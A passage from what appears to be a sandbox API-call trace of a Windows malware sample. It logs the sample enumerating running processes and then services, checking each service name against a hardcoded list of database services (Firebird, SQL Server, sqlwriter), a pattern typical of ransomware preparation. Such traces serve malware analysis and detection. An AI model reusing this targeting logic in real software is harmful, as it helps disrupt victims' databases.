lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.400] lstrlenW (lpString="svchost.exe") returned 11 [0181.400] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.401] lstrlenW (lpString="svchost.exe") returned 11 [0181.401] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0181.401] lstrlenW (lpString="spoolsv.exe") returned 11 [0181.401] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.402] lstrlenW (lpString="svchost.exe") returned 11 [0181.402] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0181.402] lstrlenW (lpString="audiodg.exe") returned 11 [0181.402] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0181.402] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0181.402] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0181.403] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0181.403] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0181.403] lstrlenW (lpString="Memory Compression") returned 18 [0181.403] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0181.404] lstrlenW (lpString="sihost.exe") returned 10 [0181.404] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.404] lstrlenW (lpString="svchost.exe") returned 11 [0181.404] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0181.405] lstrlenW (lpString="taskhostw.exe") returned 13 [0181.405] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0181.405] lstrlenW (lpString="msoia.exe") returned 9 [0181.405] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0181.406] lstrlenW (lpString="explorer.exe") returned 12 [0181.406] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0181.406] lstrlenW (lpString="SearchUI.exe") returned 12 [0181.406] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0181.406] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0181.406] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0181.407] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0181.407] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0181.407] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0181.407] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0181.408] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0181.408] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0181.408] lstrlenW (lpString="cmd.exe") returned 7 [0181.408] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0181.409] lstrlenW (lpString="conhost.exe") returned 11 [0181.409] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0181.409] CloseHandle (hObject=0x45c) returned 1 [0181.409] Sleep (dwMilliseconds=0x1f4) [0182.327] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b350 [0182.328] EnumServicesStatusExW (in: hSCManager=0x447b350, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0182.328] GetLastError () returned 0xea [0182.328] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c28) returned 0x44e50e0 [0182.329] EnumServicesStatusExW (in: hSCManager=0x447b350, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x44e50e0, cbBufSize=0x1c28, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x44e50e0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0182.330] CloseServiceHandle (hSCObject=0x447b350) returned 1 [0182.330] lstrlenW (lpString="AppXSvc") returned 7 [0182.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0182.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0182.330] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0182.330] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0182.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0182.330] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0182.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0182.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0182.330] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0182.330] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0182.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0182.330] lstrlenW (lpString="Audiosrv") returned 8 [0182.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0182.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0182.330] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0182.331] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0182.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0182.331] lstrlenW (lpString="BFE") returned 3 [0182.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0182.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0182.331] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0182.331] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0182.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0182.331] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0182.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0182.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0182.331] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0182.331] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0182.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0182.331] lstrlenW (lpString="CDPSvc") returned 6 [0182.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0182.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0182.331] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0182.331] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0182.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0182.331] lstrlenW (lpString="ClickToRunSvc") returned 13 [0182.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0182.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0182.331] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0182.331] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0182.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0182.331] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0182.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0182.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0182.331] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0182.331] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0182.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0182.331] lstrlenW (lpString="CryptSvc") returned 8 [0182.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0182.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0182.332] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0182.332] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0182.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0182.332] lstrlenW (lpString="DcomLaunch") returned 10 [0182.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0182.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0182.332] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0182.332] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0182.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0182.332] lstrlenW (lpString="DeviceAssociationService") returned 24 [0182.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0182.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0182.332] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0182.332] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0182.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0182.332] lstrlenW (lpString="Dhcp") returned 4 [0182.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0182.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0182.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0182.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0182.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0182.332] lstrlenW (lpString="Dnscache") returned 8 [0182.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0182.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0182.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0182.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0182.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0182.332] lstrlenW (lpString="DPS") returned 3 [0182.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0182.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0182.332] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0182.332] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0182.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0182.333] lstrlenW (lpString="DsmSvc") returned 6 [0182.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0182.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0182.333] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0182.333] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0182.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0182.333] lstrlenW (lpString="DusmSvc") returned 7 [0182.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0182.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0182.333] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0182.333] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0182.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0182.333] lstrlenW (lpString="EventLog") returned 8 [0182.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0182.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0182.333] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0182.333] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0182.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0182.333] lstrlenW (lpString="EventSystem") returned 11 [0182.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0182.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0182.333] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0182.333] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0182.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0182.333] lstrlenW (lpString="FontCache") returned 9 [0182.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0182.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0182.333] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0182.333] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0182.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0182.333] lstrlenW (lpString="gpsvc") returned 5 [0182.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0182.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0182.334] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0182.334] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0182.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0182.334] lstrlenW (lpString="iphlpsvc") returned 8 [0182.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0182.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0182.334] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0182.334] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0182.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0182.334] lstrlenW (lpString="KeyIso") returned 6 [0182.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0182.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0182.334] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0182.334] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0182.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0182.334] lstrlenW (lpString="LanmanServer") returned 12 [0182.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0182.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0182.334] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0182.334] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0182.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0182.334] lstrlenW (lpString="LanmanWorkstation") returned 17 [0182.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0182.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0182.334] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0182.334] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0182.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0182.334] lstrlenW (lpString="lfsvc") returned 5 [0182.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0182.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0182.334] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0182.334] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0182.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0182.335] lstrlenW (lpString="lmhosts") returned 7 [0182.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0182.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0182.335] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0182.335] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0182.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0182.335] lstrlenW (lpString="LSM") returned 3 [0182.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0182.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0182.335] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0182.335] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0182.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0182.335] lstrlenW (lpString="MpsSvc") returned 6 [0182.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0182.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0182.335] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0182.335] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0182.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0182.335] lstrlenW (lpString="NcbService") returned 10 [0182.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0182.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0182.335] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0182.335] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0182.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0182.335] lstrlenW (lpString="netprofm") returned 8 [0182.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0182.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0182.335] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0182.335] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0182.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0182.335] lstrlenW (lpString="NgcSvc") returned 6 [0182.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0182.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0182.336] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0182.336] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0182.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0182.336] lstrlenW (lpString="NlaSvc") returned 6 [0182.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0182.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0182.336] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0182.336] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0182.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0182.336] lstrlenW (lpString="nsi") returned 3 [0182.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0182.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0182.336] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0182.336] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0182.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0182.336] lstrlenW (lpString="PcaSvc") returned 6 [0182.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0182.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0182.336] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0182.336] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0182.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0182.336] lstrlenW (lpString="PlugPlay") returned 8 [0182.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0182.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0182.336] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0182.336] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0182.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0182.336] lstrlenW (lpString="Power") returned 5 [0182.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0182.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0182.336] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0182.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0182.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0182.337] lstrlenW (lpString="ProfSvc") returned 7 [0182.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0182.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0182.337] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0182.337] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0182.337] lstrcmpiW (lpString1="sqlserveradhelper", 